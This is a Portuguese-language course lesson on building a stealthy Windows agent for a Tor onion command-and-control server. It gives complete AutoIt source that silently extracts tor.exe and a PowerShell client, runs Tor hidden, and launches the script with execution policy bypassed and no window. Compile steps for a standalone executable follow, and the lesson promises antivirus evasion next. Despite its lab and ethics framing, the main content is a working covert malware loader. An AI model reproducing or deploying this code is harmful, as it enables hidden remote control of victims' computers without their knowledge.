Aula 129 | Windows .EXE e C2

Essa aula faz parte de uma série prática sobre C2 via rede Tor, onde mostramos como montar um ambiente funcional e discreto para comunicação remota entre máquinas tudo com o foco em entender como esses sistemas funcionam por baixo dos panos.

Nos vídeos anteriores, exploramos:

Criação de um servidor C2 acessível via .onion
Conexão de um sistema Ubuntu ao C2 usando netcat
Teste no macOS Catalina, com shell reverso via Tor e pipe nomeado
Integração com Windows 11, executando um client.ps1 via PowerShell manual

Agora, avançamos mais um nível com um novo objetivo:
automatizar todo o processo de execução do agente, com sigilo total, sem intervenção do usuário.

Objetivo

A ideia é clara: criar um executável único, capaz de instalar o cliente Tor, estabelecer a conexão com o C2 .onion, e rodar um script PowerShell de forma totalmente oculta.

Esse executável funciona como um agente leve e independente, que pode ser executado em qualquer máquina Windows sem deixar janelas abertas, alertas visuais ou traços evidentes.

Por que AutoIt?

O projeto dessa aula aproveita o poder do AutoIt, uma linguagem de automação para Windows criada nos anos 2000. Inicialmente voltada para testes e scripts simples, hoje o AutoIt é uma linguagem completa com:

Variáveis e estruturas de controle
Manipulação de arquivos e janelas
Execução de comandos e simulação de ações humanas
Integração com bibliotecas externas (DLLs)
Compilação para .exe sem dependências externas

Ou seja: perfeita para criar um agente furtivo que embute arquivos, cria pastas, executa serviços e roda scripts de forma silenciosa.

Estrutura do Projeto

Durante a execução:

Cria a pasta C:\ProgramData\NetCatTor
Extrai os arquivos embarcados
Inicia o Tor ocultamente (sem usar torrc)
Aguarda 10 segundos para o serviço subir
Executa o client.ps1 via PowerShell — também de forma oculta

Nenhuma janela é aberta, nenhum alerta é emitido. Tudo acontece em segundo plano.

Observações Técnicas

Esse agente não usa criptografia nem técnicas de evasão
O código é 100% visível e didático, ideal para testes em laboratório controlado
Não é persistente, nem se autoexecuta após reboot
Serve como base para estudos e experimentação prática em C2s

Próximo Passo: Ofuscação e Evasão

Na próxima aula, o foco será proteger esse agente contra detecção por antivírus, aplicando técnicas como:

Ofuscação do código PowerShell
Estratégias anti-AV (bypass simples de heurística)

netcat.au3

#NoTrayIcon

; Caminho de destino final
$dest = "C:\ProgramData\NetCatTor"
DirCreate($dest)

; Instala os arquivos embutidos no executável para o destino
FileInstall("tor.exe", $dest & "\tor.exe", 1)
FileInstall("geoip", $dest & "\geoip", 1)
FileInstall("geoip6", $dest & "\geoip6", 1)
FileInstall("client.ps1", $dest & "\client.ps1", 1)

; Inicia o tor.exe (sem usar torrc) e oculta a janela
Run(@ComSpec & ' /c "' & $dest & '\tor.exe"', "", @SW_HIDE)

; Aguarda o Tor iniciar completamente
Sleep(10000)

; Executa o PowerShell com o script client.ps1
Run(@ComSpec & ' /c powershell -ExecutionPolicy Bypass -File "' & $dest & '\client.ps1"', "", @SW_HIDE)

Compilar com Aut2Exe:

Abra o Aut2Exe
Source: netcat.au3
Destination: NetCatAgent.exe
Custom Icon: netcat.ico (opcional)
Arquitetura: x64
Compress: Ativado
Clica em Convert

Essa série é voltada pra quem quer entender a fundo como funcionam os mecanismos por trás da comunicação remota via rede Tor, e como automatizar agentes com o mínimo de ruído possível.

Tudo feito de forma ética, segura e com responsabilidade.
O conhecimento é a melhor defesa.

Aula 129 | Windows .EXE e C2